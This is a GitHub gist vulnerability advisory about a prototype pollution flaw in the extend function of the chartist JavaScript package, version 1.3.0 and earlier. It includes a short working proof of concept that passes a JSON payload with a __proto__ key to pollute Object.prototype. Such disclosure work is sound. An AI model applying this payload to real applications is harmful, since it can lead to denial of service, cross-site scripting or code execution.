Skip to content

Instantly share code, notes, and snippets.

@tariqhawis
Created July 31, 2024 03:15
Show Gist options
  • Save tariqhawis/c67177164d3b7975210caddb25b60d62 to your computer and use it in GitHub Desktop.
Save tariqhawis/c67177164d3b7975210caddb25b60d62 to your computer and use it in GitHub Desktop.
Vulnerability Advisory: Prototype Pollution in chartist, versions <= 1.3.0

Vulnerability type: Prototype Pollution

Vendor of the Package: chartist-js

Affected Package:

  • Product: chartist
  • Version: 1.3.0

Affected component(s):

extend

Attack vector(s): the attacker can modify built-in Object.prototype by calling the vulnerable function: extend with an argument containing a special property __proto__ to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.

Description: Affected versions of this package are vulnerable to Prototype Pollution through the vulnerable function: extend. An attacker can alter the behavior of all objects inheriting from the affected prototype by passing arguments to the vulenrable function crafted with the built-in property: __proto__. The attack can potentially escalated to Denial of service, remote code execution or cross-site scripting attacks depends on the gadgets that may affected by the attack

Proof-of-Concept:

(async () => {
  const lib = await import('chartist');

  var victim = {}
  var emptyObj = {}
  console.log("Before Attack: ", JSON.stringify(victim.__proto__));

  try {

    lib.extend(emptyObj, JSON.parse('{"__proto__":{"test":123}}'))

  } catch (e) { console.error(e); }

  console.log("After Attack: ", JSON.stringify(victim.__proto__));

  delete Object.prototype.test;

})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment